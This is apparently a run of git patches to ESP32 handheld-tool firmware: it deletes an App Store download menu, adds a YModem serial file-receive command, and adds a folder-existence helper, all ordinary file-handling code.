-    String commit = meta["commit"].as<String>();
-    String ver = meta["version"].as<String>();
-    String dest = (cat == "Themes") ? "/Themes/" + appName + "/" : "/" + cat + "/";
-    int total = files.size(), ok = 0;
-
-    for (int i = 0; i < total; i++) {
-        displayTextLine("Downloading " + String(i + 1) + "/" + String(total), false);
-        String fn, src;
-        if (files[i].is<JsonObject>()) {
-            fn = files[i]["destination"].as<String>();
-            src = files[i]["source"].as<String>();
-        } else {
-            fn = files[i].as<String>();
-            src = fn;
-        }
-        while (fn.startsWith("/")) fn = fn.substring(1);
-        while (src.startsWith("/")) src = src.substring(1);
-        String sp = bp + src;
-        while (sp.startsWith("/")) sp = sp.substring(1);
-        String dl = String(AS_HOST) + "/service/manual/" + owner + "/" + repo + "/" + commit + "/" + sp;
-        dl.replace(" ", "%20");
-        if (_httpSave(dl, dest + fn)) ok++;
-    }
-
-    if (ok == total) {
-        File f = _afs->open(AS_INST, FILE_READ);
-        JsonDocument inst;
-        if (f) {
-            deserializeJson(inst, f);
-            f.close();
-        }
-        inst[slug]["version"] = ver;
-        inst[slug]["commit"] = commit;
-        File w = _afs->open(AS_INST, FILE_WRITE);
-        if (w) {
-            serializeJson(inst, w);
-            w.close();
-        }
-        displaySuccess("Installed!", true);
-    } else {
-        displayError(String(ok) + "/" + String(total) + " files ok", true);
-    }
-}
-
-static void _doDelete(String slug, String appName) {
-    displayTextLine("Deleting...", false);
-    String url = String(AS_HOST) + "/service/main/repositories/" + slug + "/metadata.json";
-    url.replace(" ", "%20");
-    String raw = _httpGet(url);
-    if (raw.isEmpty()) {
-        displayError("Fetch failed", true);
-        return;
-    }
-
-    JsonDocument meta;
-    if (deserializeJson(meta, raw)) {
-        displayError("Parse error", true);
-        return;
-    }
-
-    JsonArray files = meta["files"].as<JsonArray>();
-    String cat = meta["category"].as<String>();
-    String dest = (cat == "Themes") ? "/Themes/" + appName + "/" : "/" + cat + "/";
-
-    for (int i = 0; i < (int)files.size(); i++) {
-        String fn;
-        if (files[i].is<JsonObject>()) fn = files[i]["destination"].as<String>();
-        else fn = files[i].as<String>();
-        while (fn.startsWith("/")) fn = fn.substring(1);
-        _afs->remove(dest + fn);
-    }
-
-    File f = _afs->open(AS_INST, FILE_READ);
-    JsonDocument inst;
-    if (f) {
-        deserializeJson(inst, f);
-        f.close();
-    }
-    inst.remove(slug);
-    File w = _afs->open(AS_INST, FILE_WRITE);
-    if (w) {
-        serializeJson(inst, w);
-        w.close();
-    }
-    displaySuccess("Deleted!", true);
-}
-
-static void _appMenu(String name, String slug, String ver) {
-    String iv = _instVer(slug);
-    options.clear();
-    if (iv.isEmpty()) {
-        options.push_back({"Install", [slug, name]() { _doInstall(slug, name); }});
-    } else {
-        if (iv != ver) options.push_back({"Update", [slug, name]() { _doInstall(slug, name); }});
-        options.push_back({"Reinstall", [slug, name]() { _doInstall(slug, name); }});
-        options.push_back({"Delete", [slug, name]() { _doDelete(slug, name); }});
-    }
-    addOptionToMainMenu();
-    loopOptions(options, MENU_TYPE_SUBMENU, name.c_str());
-}
-
-static void _catMenu(String slug, String catName) {
-    displayTextLine("Loading " + catName + "...", false);
-    String cp = String(AS_CACHE) + "category-" + slug + ".json";
-    String raw;
-    File cf = _afs->open(cp, FILE_READ);
-    if (cf) {
-        raw = cf.readString();
-        cf.close();
-    }
-    if (raw.isEmpty()) {
-        if (!_needWifi()) return;
-        raw = _httpGet(String(AS_HOST) + "/service/main/releases/category-" + slug + ".min.json");
-        if (raw.isEmpty()) {
-            displayError("Load failed", true);
-            return;
-        }
-        File wf = _afs->open(cp, FILE_WRITE);
-        if (wf) {
-            wf.print(raw);
-            wf.close();
-        }
-    }
-
-    JsonDocument doc;
-    if (deserializeJson(doc, raw)) {
-        displayError("Parse error", true);
-        return;
-    }
-    JsonArray apps = doc["apps"].as<JsonArray>();
-    if (!apps.size()) {
-        displayInfo("No apps in this category", true);
-        return;
-    }
-
-    struct AppEntry {
-        String n, s, v;
-    };
-    std::vector<AppEntry> list;
-    for (int i = 0; i < (int)apps.size(); i++)
-        list.push_back({apps[i]["n"].as<String>(), apps[i]["s"].as<String>(), apps[i]["v"].as<String>()});
-
-    options.clear();
-    for (auto &a : list) {
-        String iv = _instVer(a.s);
-        String lbl = a.n;
-        if (!iv.isEmpty()) lbl += (iv != a.v) ? " [UPD]" : " [OK]";
-        String n = a.n, s = a.s, v = a.v;
-        options.push_back({lbl, [n, s, v]() { _appMenu(n, s, v); }});
-    }
-    addOptionToMainMenu();
-    loopOptions(options, MENU_TYPE_SUBMENU, catName.c_str());
-}
-
-void AppStoreMenu::optionsMenu() {
-    _initFs();
-    if (!_needWifi()) return;
-
-    displayTextLine("Loading App Store...", false);
-    String raw = _httpGet(String(AS_HOST) + "/service/main/releases/categories.json");
-    if (raw.isEmpty()) {
-        displayError("Failed to load categories", true);
-        return;
-    }
-
-    JsonDocument doc;
-    if (deserializeJson(doc, raw)) {
-        displayError("Parse error", true);
-        return;
-    }
-    JsonArray cats = doc["categories"].as<JsonArray>();
-    if (!cats.size()) {
-        displayInfo("No categories available", true);
-        return;
-    }
-
-    struct CatEntry {
-        String name, slug;
-        int count;
-    };
-    std::vector<CatEntry> list;
-    for (int i = 0; i < (int)cats.size(); i++) {
-        String s = cats[i]["slug"].as<String>();
-        if (s == "updates") continue;
-        list.push_back({cats[i]["name"].as<String>(), s, cats[i]["count"].as<int>()});
-    }
-
-    options.clear();
-    for (auto &c : list) {
-        String lbl = c.name + " (" + String(c.count) + ")";
-        String slug = c.slug, name = c.name;
-        options.push_back({lbl, [slug, name]() { _catMenu(slug, name); }});
-    }
-
-    options.push_back({"Config", []() {
-        bool inConfig = true;
-        while(inConfig && !returnToMenu) {
-            std::vector<Option> cfgOpts;
-            if (sdcardMounted) {
-                cfgOpts.push_back({String("Dest: ") + (_destFs == 1 ? "SD Card" : "LittleFS"), []() {
-                    _destFs = (_destFs == 0) ? 1 : 0;
-                    _afs = nullptr;
-                }});
-            } else {
-                cfgOpts.push_back({"Dest: LittleFS (No SD)", []() {}});
-            }
-            cfgOpts.push_back({"Back", [&inConfig]() { inConfig = false; }});
-            loopOptions(cfgOpts, MENU_TYPE_SUBMENU, "App Store Config");
-        }
-    }});
-
-    addOptionToMainMenu();
-    loopOptions(options, MENU_TYPE_SUBMENU, "App Store");
-}
-
-void AppStoreMenu::drawIcon(float scale) {
-    clearIconArea();
-
-    int iconW = scale * 60;
-    int iconH = scale * 60;
-    if (iconW % 2 != 0) iconW++;
-    if (iconH % 2 != 0) iconH++;
-
-    int cx = iconCenterX;
-    int cy = iconCenterY;
-    int half = iconW / 2;
-
-    tft.drawRoundRect(cx - half, cy - half, iconW, iconH, half / 4, bruceConfig.priColor);
-
-    int aw = iconW / 5;
-    int top = cy - half / 2;
-    int bot = cy + half / 6;
-    tft.fillRect(cx - aw / 2, top, aw, bot - top, bruceConfig.priColor);
-
-    int tw = half / 2 + 2;
-    tft.fillTriangle(cx - tw, bot, cx + tw, bot, cx, cy + half / 2, bruceConfig.priColor);
-
-    int ly = cy + half - half / 5;
-    tft.drawLine(cx - half / 2, ly, cx + half / 2, ly, bruceConfig.priColor);
-}
-
-#endif

From 48faf16575b5f0b05829dfb19d5ec5212991ae97 Mon Sep 17 00:00:00 2001
From: Franco <181183464+wcd6@users.noreply.github.com>
Date: Thu, 26 Mar 2026 21:45:53 -0300
Subject: [PATCH 21/73] Delete src/core/menu_items/AppStoreMenu.h

---
 src/core/menu_items/AppStoreMenu.h | 19 -------------------
 1 file changed, 19 deletions(-)
 delete mode 100644 src/core/menu_items/AppStoreMenu.h

diff --git a/src/core/menu_items/AppStoreMenu.h b/src/core/menu_items/AppStoreMenu.h
deleted file mode 100644
index 0c468539b..000000000
--- a/src/core/menu_items/AppStoreMenu.h
+++ /dev/null
@@ -1,19 +0,0 @@
-#ifndef __APP_STORE_MENU_H__
-#define __APP_STORE_MENU_H__
-
-#include <MenuItemInterface.h>
-
-#if !defined(LITE_VERSION) && !defined(DISABLE_INTERPRETER)
-
-class AppStoreMenu : public MenuItemInterface {
-public:
-    AppStoreMenu() : MenuItemInterface("App Store") {}
-
-    void optionsMenu(void);
-    void drawIcon(float scale);
-    bool hasTheme() { return false; }
-    String themePath() { return ""; }
-};
-
-#endif
-#endif

From 33a944d74a9502fb5dbd5b9bd766bf11a44ecd02 Mon Sep 17 00:00:00 2001
From: Matt Emerick-Law <matt@emericklaw.co.uk>
Date: Fri, 27 Mar 2026 00:52:31 +0000
Subject: [PATCH 22/73] Add USB file transfer support

---
 src/core/serial_commands/storage_commands.cpp | 535 +++++++++++++++++-
 1 file changed, 532 insertions(+), 3 deletions(-)

diff --git a/src/core/serial_commands/storage_commands.cpp b/src/core/serial_commands/storage_commands.cpp
index 54b6e5178..1513a4453 100644
--- a/src/core/serial_commands/storage_commands.cpp
+++ b/src/core/serial_commands/storage_commands.cpp
@@ -3,6 +3,9 @@
 #include "helpers.h"
 #include <globals.h>
 
+// YModem logging - set to 1 to enable detailed transfer logging
+// #define YMODEM_LOGGING_ENABLED 1
+
 uint32_t listCallback(cmd *c) {
     Command cmd(c);
 
@@ -133,10 +136,10 @@ uint32_t removeCallback(cmd *c) {
 uint32_t writeCallback(cmd *c) {
     Command cmd(c);
 
-    Argument arg = cmd.getArgument("filepath");
+    Argument filepathArg = cmd.getArgument("filepath");
     Argument sizeArg = cmd.getArgument("size");
-    String filepath = arg.getValue();
-    String sizeStr = arg.getValue();
+    String filepath = filepathArg.getValue();
+    String sizeStr = sizeArg.getValue();
     filepath.trim();
     int fileSize = sizeStr.toInt();
 
@@ -162,6 +165,529 @@ uint32_t writeCallback(cmd *c) {
     serialDevice->println("File written: " + filepath);
     return true;
 }
+
+void writeByte(uint8_t byte) { serialDevice->write(&byte, 1); }
+
+// Helper function to log YModem events to file
+void logYmodem(const String &message) {
+    FS *fs;
+    if (!getFsStorage(fs)) return;
+
+    File logFile = fs->open("/ymodem.log", FILE_APPEND);
+    if (logFile) {
+        logFile.println(String(millis()) + ": " + message);
+        logFile.close();
+    }
+}
+
+// Y-modem protocol constants
+#define SOH 0x01 // Start of Header (128 byte blocks)
+#define STX 0x02 // Start of Header (1024 byte blocks)
+#define EOT 0x04 // End of Transmission
+#define ACK 0x06 // Acknowledge
+#define NAK 0x15 // Not Acknowledge
+#define CAN 0x18 // Cancel
+#define CRC 0x43 // 'C' - CRC mode request
+
+// Simple CRC16 calculation for Y-modem
+uint16_t crc16_update(uint16_t crc, uint8_t data) {
+    crc ^= (uint16_t)data << 8;
+    for (int i = 0; i < 8; i++) {
+        if (crc & 0x8000) {
+            crc = (crc << 1) ^ 0x1021;
+        } else {
+            crc <<= 1;
+        }
+    }
+    return crc;
+}
+
+uint16_t crc16(const uint8_t *data, size_t length) {
+    uint16_t crc = 0x0000; // Y-modem uses initial value 0x0000 for CRC-16-CCITT
+    for (size_t i = 0; i < length; i++) { crc = crc16_update(crc, data[i]); }
+    return crc;
+}
+
+// Helper function to remove YModem padding (0x1A) from end of data
+size_t removePadding(uint8_t *data, size_t length) {
+    // Remove trailing 0x1A (EOF/padding) bytes
+    while (length > 0 && data[length - 1] == 0x1A) { length--; }
+    return length;
+}
+
+uint32_t ymodemReceiveCallback(cmd *c) {
+    Command cmd(c);
+    Argument arg = cmd.getArgument("filepath");
+    String filepath = arg.getValue();
+    filepath.trim();
+
+    if (filepath.length() == 0) { return false; }
+    if (!filepath.startsWith("/")) filepath = "/" + filepath;
+
+    FS *fs;
+    if (!getFsStorage(fs)) { return false; }
+
+#ifdef YMODEM_LOGGING_ENABLED
+    logYmodem("YModem: Starting receive to " + filepath.substring(filepath.lastIndexOf("/") + 1));
+#endif
+
+    // YModem communication goes to serialDevice (UART)
+    serialDevice->println("Starting Y-modem receive to: " + filepath);
+    serialDevice->println("Send file using Y-modem protocol (128-byte blocks only)");
+    serialDevice->flush();
+
+    // Always truncate/create fresh file for YModem transfer
+    // This ensures clean state for retries after failed transfers
+    File f = fs->open(filepath, FILE_WRITE);
+    if (!f) {
+#ifdef YMODEM_LOGGING_ENABLED
+        logYmodem("ERROR: File open failed");
+#endif
+        serialDevice->println("Error: Failed to open file for writing");
+        return false;
+    }
+
+    // Y-modem receive state
+    uint8_t *blockBuffer = (uint8_t *)malloc(128);
+    if (!blockBuffer) {
+        f.close();
+#ifdef YMODEM_LOGGING_ENABLED
+        logYmodem("ERROR: Memory allocation failed");
+#endif
+        serialDevice->println("Error: Failed to allocate memory");
+        return false;
+    }
+
+#ifdef YMODEM_LOGGING_ENABLED
+    logYmodem("YModem: Buffer allocated, ready for handshake");
+#endif
+
+    uint8_t expectedBlockNum = 1;
+    uint32_t totalBytes = 0;
+    uint32_t expectedFileSize = 0;
+    bool firstBlock = true;
+    bool headerReceived = false;
+
+    // Clear any existing data in serial buffer and feed watchdog
+    while (serialDevice->available()) {
+        serialDevice->read();
+        yield();
+    }
+
+    // Start Y-modem handshake - request CRC mode repeatedly
+    unsigned long timeout = millis() + 60000; // 60 second timeout
+    unsigned long lastCrcRequest = 0;
+    unsigned long lastActivity = millis();
+    unsigned long lastBlockTime = millis();
+    bool hasReceivedData = false;
+    uint16_t successfulBlocks = 0;
+    uint32_t totalBlockTime = 0;
+
+#ifdef YMODEM_LOGGING_ENABLED
+    logYmodem("YModem: Starting handshake, will send CRC request every second...");
+#endif
+
+    while (millis() < timeout) {
+        // Send CRC request every second until transfer starts
+        if (!hasReceivedData && (millis() - lastCrcRequest) >= 1000) {
+#ifdef YMODEM_LOGGING_ENABLED
+            logYmodem("YModem: Sending CRC request...");
+#endif
+            writeByte(CRC);
+            serialDevice->flush();
+            lastCrcRequest = millis();
+        }
+        if (!serialDevice->available()) {
+            // Sophisticated timeout logic
+            unsigned long inactivityTime = millis() - lastActivity;
+            unsigned long timeoutThreshold;
+
+            if (successfulBlocks < 16) {
+                // Early stage: use generous timeout for handshake and initial blocks
+                timeoutThreshold = 15000; // 15 seconds
+            } else {
+                // Calculate adaptive timeout based on average block time
+                uint32_t avgBlockTime = totalBlockTime / successfulBlocks;
+                // Use 3x average block time, minimum 5 seconds, maximum 12 seconds
+                timeoutThreshold = max(5000UL, min(12000UL, avgBlockTime * 3));
+            }
+
+            if (hasReceivedData && inactivityTime > timeoutThreshold) {
+                // Adaptive inactivity timeout triggered
+#ifdef YMODEM_LOGGING_ENABLED
+                logYmodem(
+                    "YModem: " + String(timeoutThreshold / 1000) + "s adaptive timeout after " +
+                    String(successfulBlocks) + " blocks"
+                );
+#endif
+                f.flush();
+                f.close();
+                free(blockBuffer);
+
+                serialDevice->println("Y-modem transfer completed: " + String(totalBytes) + " bytes");
+                serialDevice->println(
+                    "(Transfer ended after " + String(timeoutThreshold / 1000) + " seconds of inactivity)"
+                );
+                serialDevice->println("Send file using Y-modem protocol (128-byte blocks only)");
+                serialDevice->flush();
+
+                // Clear any remaining serial data to prepare for next transfer
+                delay(100);
+                while (serialDevice->available()) {
+                    serialDevice->read();
+                    yield();
+                }
+                return true;
+            }
+            delay(10);
+            continue;
+        }
+
+        lastActivity = millis(); // Update last activity time
+        int header = serialDevice->read();
+
+        if (header == EOT) {
+            // End of transmission - normal completion only
+#ifdef YMODEM_LOGGING_ENABLED
+            logYmodem("YModem: Received EOT, transfer complete");
+#endif
+            writeByte(ACK);
+            serialDevice->flush();
+            f.flush(); // Ensure all data is written
+            f.close();
+
+            // Small delay to allow file system operations to complete
+            delay(100);
+
+            free(blockBuffer); // Clean up memory
+
+            String completeMsg = "Y-modem transfer complete: " + String(totalBytes) + " bytes";
+            if (expectedFileSize > 0) {
+                if (totalBytes == expectedFileSize) {
+                    completeMsg += " (matches expected size)";
+                } else {
+                    completeMsg += " (expected " + String(expectedFileSize) + " bytes)";
+                }
+            }
+            serialDevice->println(completeMsg);
+            serialDevice->flush();
+
+            // Clear any remaining serial data to prepare for next transfer
+            delay(100);
+            while (serialDevice->available()) {
+                serialDevice->read();
+                yield();
+            }
+
+            return true;
+        }
+
+        if (header == CAN) {
+            // Standard YModem cancellation - check for multiple CAN bytes for restart
+#ifdef YMODEM_LOGGING_ENABLED
+            logYmodem("YModem: Received CAN byte");
+#endif
+
+            // Look for additional CAN bytes to distinguish restart vs abort
+            int canCount = 1;
+            unsigned long canTimeout = millis() + 500; // 500ms to receive additional CAN bytes
+
+            while (millis() < canTimeout && canCount < 3) {
+                if (serialDevice->available()) {
+                    int nextByte = serialDevice->read();
+                    if (nextByte == CAN) {
+                        canCount++;
+#ifdef YMODEM_LOGGING_ENABLED
+                        logYmodem("YModem: Additional CAN byte received (count: " + String(canCount) + ")");
+#endif
+                    } else {
+                        // Not a CAN byte, put back the byte conceptually
+                        break;
+                    }
+                } else {
+                    delay(10);
+                }
+            }
+
+            f.close();
+            free(blockBuffer);
+
+            if (canCount >= 2) {
+                // Multiple CAN bytes = restart request
+#ifdef YMODEM_LOGGING_ENABLED
+                logYmodem("YModem: Multiple CAN bytes - restart requested");
+#endif
+                serialDevice->println("Y-modem transfer cancelled - ready for restart");
+                serialDevice->println("Send file using Y-modem protocol (128-byte blocks only)");
+            } else {
+                // Single CAN = abort
+#ifdef YMODEM_LOGGING_ENABLED
+                logYmodem("YModem: Single CAN byte - transfer aborted");
+#endif
+                serialDevice->println("Y-modem transfer cancelled by sender");
+                serialDevice->println("Send file using Y-modem protocol (128-byte blocks only)");
+            }
+            serialDevice->flush();
+
+            // Complete state reset for restart
+            delay(200);
+            while (serialDevice->available()) {
+                serialDevice->read();
+                yield();
+            }
+
+            return false;
+        }
+
+        // Only accept SOH (128-byte blocks) for reliability
+        if (header != SOH) {
+#ifdef YMODEM_LOGGING_ENABLED
+            logYmodem("YModem: Ignoring non-SOH header: 0x" + String(header, HEX));
+#endif
+            continue; // Reject STX and other headers
+        }
+
+        // Fixed 128-byte block size for maximum reliability
+        size_t blockSize = 128;
+
+        // Read block number and complement with timeout
+        unsigned long readTimeout = millis() + 1000;
+        while (!serialDevice->available() && millis() < readTimeout) delay(1);
+        if (!serialDevice->available()) continue;
+        uint8_t blockNumReceived = serialDevice->read();
+
+        while (!serialDevice->available() && millis() < readTimeout) delay(1);
+        if (!serialDevice->available()) continue;
+        uint8_t blockNumComplement = serialDevice->read();
+
+        // Verify block number
+        if ((blockNumReceived + blockNumComplement) != 0xFF) {
+            // Clear any remaining data in buffer before NAK
+#ifdef YMODEM_LOGGING_ENABLED
+            logYmodem(
+                "ERROR: YModem: Bad block numbers: " + String(blockNumReceived) + "+" +
+                String(blockNumComplement)
+            );
+#endif
+            while (serialDevice->available()) {
+                serialDevice->read();
+                yield();
+            }
+            writeByte(NAK);
+            serialDevice->flush();
+            continue;
+        }
+
+        // Read data block
+        size_t bytesRead = 0;
+        unsigned long blockTimeout = millis() + 3000; // Reduced timeout for responsiveness
+
+        while (bytesRead < blockSize && millis() < blockTimeout) {
+            if (serialDevice->available()) {
+                if (bytesRead < 128) { // Strict bounds check for 128-byte buffer
+                    blockBuffer[bytesRead++] = serialDevice->read();
+                } else {
+                    // Buffer overflow protection - should never happen with 128-byte blocks
+                    serialDevice->read(); // Consume byte but don't store
+                    break;
+                }
+            } else {
+                // Feed watchdog while waiting for data
+                yield();
+                delay(1);
+            }
+        }
+
+        if (bytesRead != blockSize) {
+#ifdef YMODEM_LOGGING_ENABLED
+            logYmodem("ERROR: YModem: Block read timeout " + String(bytesRead) + "/" + String(blockSize));
+#endif
+            writeByte(NAK);
+            serialDevice->flush();
+            continue;
+        }
+
+        // Read CRC with timeout
+        readTimeout = millis() + 1000;
+        while (!serialDevice->available() && millis() < readTimeout) delay(1);
+        if (!serialDevice->available()) {
+            writeByte(NAK);
+            serialDevice->flush();
+            continue;
+        }
+        uint8_t crcHigh = serialDevice->read();
+
+        while (!serialDevice->available() && millis() < readTimeout) delay(1);
+        if (!serialDevice->available()) {
+            writeByte(NAK);
+            serialDevice->flush();
+            continue;
+        }
+        uint8_t crcLow = serialDevice->read();
+
+        uint16_t receivedCrc = (crcHigh << 8) | crcLow;
+        uint16_t calculatedCrc = crc16(blockBuffer, blockSize);
+
+        if (receivedCrc != calculatedCrc) {
+            // Clear any remaining data in buffer before NAK
+#ifdef YMODEM_LOGGING_ENABLED
+            logYmodem(
+                "ERROR: YModem: CRC error " + String(receivedCrc, HEX) + "!=" + String(calculatedCrc, HEX)
+            );
+#endif
+            while (serialDevice->available()) {
+                serialDevice->read();
+                yield();
+            }
+            writeByte(NAK);
+            serialDevice->flush();
+            continue;
+        }
+
+        // Handle first block (may contain filename/size info in Y-modem)
+        if (firstBlock && blockNumReceived == 0) {
+            // Block 0 contains filename and size info - parse it
+            // Format: filename\0size_as_string\0...
+            char *filename = (char *)blockBuffer;
+            char *sizeStr = filename + strlen(filename) + 1;
+
+            if (strlen(sizeStr) > 0) { expectedFileSize = atol(sizeStr); }
+
+#ifdef YMODEM_LOGGING_ENABLED
+            logYmodem("YModem: Header block received, file size: " + String(expectedFileSize));
+#endif
+            writeByte(ACK);
+            serialDevice->flush();
+            firstBlock = false;
+            headerReceived = true;
+            expectedBlockNum = 1; // Next block should be 1
+            continue;
+        }
+
+        // If this is the first block and no header was sent
+        if (firstBlock && blockNumReceived == 1) {
+            firstBlock = false;
+            expectedBlockNum = 1;
+        } else if (firstBlock) {
+            // First block with non-standard numbering - sync to sender's numbering
+            firstBlock = false;
+            expectedBlockNum = blockNumReceived;
+        }
+
+        // Verify sequential block numbering
+        if (blockNumReceived != (expectedBlockNum & 0xFF)) {
+            if (blockNumReceived == ((expectedBlockNum - 1) & 0xFF)) {
+                // Duplicate block - acknowledge but don't write
+#ifdef YMODEM_LOGGING_ENABLED
+                logYmodem("YModem: Duplicate block " + String(blockNumReceived));
+#endif
+                writeByte(ACK);
+                serialDevice->flush();
+                continue;
+            } else {
+                // Out of sequence - send NAK
+#ifdef YMODEM_LOGGING_ENABLED
+                logYmodem(
+                    "ERROR: YModem: Sequence error " + String(blockNumReceived) +
+                    "!=" + String(expectedBlockNum & 0xFF)
+                );
+#endif
+                writeByte(NAK);
+                serialDevice->flush();
+                continue;
+            }
+        }
+
+        // Write data to file, respecting expected file size or removing padding
+        size_t bytesToWrite = blockSize;
+
+        if (expectedFileSize > 0) {
+            // We have file size from YModem header - use it to limit writes
+            if (totalBytes >= expectedFileSize) {
+                // File is already complete, don't write any more data
+                bytesToWrite = 0;
+            } else {
+                size_t remainingBytes = expectedFileSize - totalBytes;
+                if (remainingBytes < blockSize) {
+                    // Only write the remaining bytes needed
+                    bytesToWrite = remainingBytes;
+                }
+            }
+        } else {
+            // No file size available - fall back to padding removal
+            bytesToWrite = removePadding(blockBuffer, blockSize);
+        }
+
+        if (bytesToWrite > 0) {
+            size_t written = f.write(blockBuffer, bytesToWrite);
+            if (written != bytesToWrite) {
+                f.close();
+                free(blockBuffer);
+                writeByte(CAN);
+                serialDevice->flush();
+
+                serialDevice->println("Error: Failed to write block to file");
+                return false;
+            }
+            totalBytes += bytesToWrite;
+            hasReceivedData = true; // Mark that we've received actual data
+
+            // Track timing for adaptive timeout
+            unsigned long currentTime = millis();
+            if (successfulBlocks > 0) { totalBlockTime += (currentTime - lastBlockTime); }
+            lastBlockTime = currentTime;
+            successfulBlocks++;
+
+            // Show progress every 16 blocks
+            if ((expectedBlockNum & 0x0F) == 0) {
+#ifdef YMODEM_LOGGING_ENABLED
+                uint32_t avgTime = successfulBlocks > 0 ? totalBlockTime / successfulBlocks : 0;
+                logYmodem(
+                    "YModem: Block " + String(expectedBlockNum) + ", " + String(totalBytes) +
+                    " bytes (avg: " + String(avgTime) + "ms/block)"
+                );
+#endif
+            }
+        }
+        expectedBlockNum++;
+
+        // Acknowledge successful block
+        writeByte(ACK);
+        serialDevice->flush();
+
+        // Reset timeout
+        timeout = millis() + 60000;
+        firstBlock = false;
+
+        // Yield to other tasks to prevent watchdog timeout
+        yield();
+    }
+
+    // Timeout occurred
+#ifdef YMODEM_LOGGING_ENABLED
+    logYmodem(
+        "ERROR: YModem: Transfer timeout after " + String(totalBytes) + " bytes, " +
+        String(successfulBlocks) + " blocks"
+    );
+#endif
+    f.close();
+    free(blockBuffer); // Clean up memory
+
+    writeByte(CAN);
+    serialDevice->println("Error: Y-modem receive timeout - ready for next transfer");
+    serialDevice->println("Send file using Y-modem protocol (128-byte blocks only)");
+    serialDevice->flush();
+
+    // Clear serial buffer to prepare for next transfer
+    delay(200);
+    while (serialDevice->available()) {
+        serialDevice->read();
+        yield();
+    }
+
+    return false;
+}
+
 #endif
 uint32_t renameCallback(cmd *c) {
     Command cmd(c);
@@ -403,6 +929,9 @@ void createStorageCommand(SimpleCLI *cli) {
     Command cmdWrite = cmd.addCommand("write", writeCallback);
     cmdWrite.addPosArg("filepath");
     cmdWrite.addPosArg("size", "0");
+
+    Command cmdYmodem = cmd.addCommand("ymodem", ymodemReceiveCallback);
+    cmdYmodem.addPosArg("filepath");
 #endif
     Command cmdRename = cmd.addCommand("rename", renameCallback);
     cmdRename.addPosArg("filepath");

From a8c2cd5d6380e464ff412801ee752941de7ef462 Mon Sep 17 00:00:00 2001
From: "Mr.shadow" <104501999+Gosheto1234@users.noreply.github.com>
Date: Tue, 31 Mar 2026 21:28:41 +0300
Subject: [PATCH 23/73] add function that checks if folder exists

---
 src/core/sd_functions.cpp | 23 ++++++++++++++++++++---
 1 file changed, 20 insertions(+), 3 deletions(-)

diff --git a/src/core/sd_functions.cpp b/src/core/sd_functions.cpp
index a890bf7cc..3634394b5 100644
--- a/src/core/sd_functions.cpp
+++ b/src/core/sd_functions.cpp
@@ -54,8 +54,10 @@ bool setupSdCard() {
         // Serial.println("Task not activated");
     }
     // SDCard in the same Bus as TFT, in this case we call the SPI TFT Instance
-    else if (bruceConfigPins.SDCARD_bus.mosi == (gpio_num_t)TFT_MOSI &&
-             bruceConfigPins.SDCARD_bus.mosi != GPIO_NUM_NC) {
+    else if (
+        bruceConfigPins.SDCARD_bus.mosi == (gpio_num_t)TFT_MOSI &&
+        bruceConfigPins.SDCARD_bus.mosi != GPIO_NUM_NC
+    ) {
         Serial.println("SDCard in the same Bus as TFT, using TFT SPI instance");
 #if TFT_MOSI > 0 // condition for Headless and 8bit displays (no SPI bus)
         if (!SD.begin(bruceConfigPins.SDCARD_bus.cs, tft.getSPIinstance())) {
@@ -336,6 +338,21 @@ bool createFolder(FS fs, String path) {
     return true;
 }
 
+/***************************************************************************************
+** Function name: folderExists
+** Description:   check if a folder exists
+***************************************************************************************/
+bool folderExists(FS fs, String path) {
+    if (path == "" || path == "/") return true;
+
+    File dir = fs.open(path);
+    if (!dir) return false;
+
+    bool isDir = dir.isDirectory();
+    dir.close();
+    return isDir;
+}
+
 /**********************************************************************
 **  Function: readLineFromFile
 **  Read the line of the config file until the ';'
@@ -759,7 +776,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext, String rootPath) {
                                                              RfCodes data{};
 
                                                              if (readSubFile(&fs, filepath, data))
-                                                                txSubFile(data);
+                                                                 txSubFile(data);
                                                          }});
                     if (filepath.endsWith(".csv")) {
                         options.insert(options.begin(), {"Wigle Upload", [&]() {

From f91afa4e94bb5e1bbf08d33142273449e1bbb542 Mon Sep 17 00:00:00 2001
From: "Mr.shadow" <104501999+Gosheto1234@users.noreply.github.com>
Date: Tue, 31 Mar 2026 21:32:52 +0300
Subject: [PATCH 24/73] revert small spaces

---
 src/core/sd_functions.cpp | 38 ++++++++++++++++++--------------------
 1 file changed, 18 insertions(+), 20 deletions(-)

diff --git a/src/core/sd_functions.cpp b/src/core/sd_functions.cpp
index 3634394b5..ee4425a43 100644
--- a/src/core/sd_functions.cpp
+++ b/src/core/sd_functions.cpp
@@ -54,10 +54,8 @@ bool setupSdCard() {
         // Serial.println("Task not activated");
     }
     // SDCard in the same Bus as TFT, in this case we call the SPI TFT Instance
-    else if (
-        bruceConfigPins.SDCARD_bus.mosi == (gpio_num_t)TFT_MOSI &&
-        bruceConfigPins.SDCARD_bus.mosi != GPIO_NUM_NC
-    ) {
+    else if (bruceConfigPins.SDCARD_bus.mosi == (gpio_num_t)TFT_MOSI &&
+             bruceConfigPins.SDCARD_bus.mosi != GPIO_NUM_NC) {
         Serial.println("SDCard in the same Bus as TFT, using TFT SPI instance");
 #if TFT_MOSI > 0 // condition for Headless and 8bit displays (no SPI bus)
         if (!SD.begin(bruceConfigPins.SDCARD_bus.cs, tft.getSPIinstance())) {
@@ -338,21 +336,6 @@ bool createFolder(FS fs, String path) {
     return true;
 }
 
-/***************************************************************************************
-** Function name: folderExists
-** Description:   check if a folder exists
-***************************************************************************************/
-bool folderExists(FS fs, String path) {
-    if (path == "" || path == "/") return true;
-
-    File dir = fs.open(path);
-    if (!dir) return false;
-
-    bool isDir = dir.isDirectory();
-    dir.close();
-    return isDir;
-}
-
 /**********************************************************************
 **  Function: readLineFromFile
 **  Read the line of the config file until the ';'
@@ -369,6 +352,21 @@ String readLineFromFile(File myFile) {
     return line;
 }
 
+/***************************************************************************************
+** Function name: folderExists
+** Description:   check if a folder exists
+***************************************************************************************/
+bool folderExists(FS fs, String path) {
+    if (path == "" || path == "/") return true;
+
+    File dir = fs.open(path);
+    if (!dir) return false;
+
+    bool isDir = dir.isDirectory();
+    dir.close();
+    return isDir;
+}
+
 /***************************************************************************************
 ** Function name: readSmallFile
 ** Description:   read a small (<3KB) file and return its contents as a single string
@@ -776,7 +774,7 @@ String loopSD(FS &fs, bool filePicker, String allowed_ext, String rootPath) {
                                                              RfCodes data{};
 
                                                              if (readSubFile(&fs, filepath, data))
-                                                                 txSubFile(data);
+                                                                txSubFile(data);
                                                          }});
                     if (filepath.endsWith(".csv")) {
                         options.insert(options.begin(), {"Wigle Upload", [&]() {

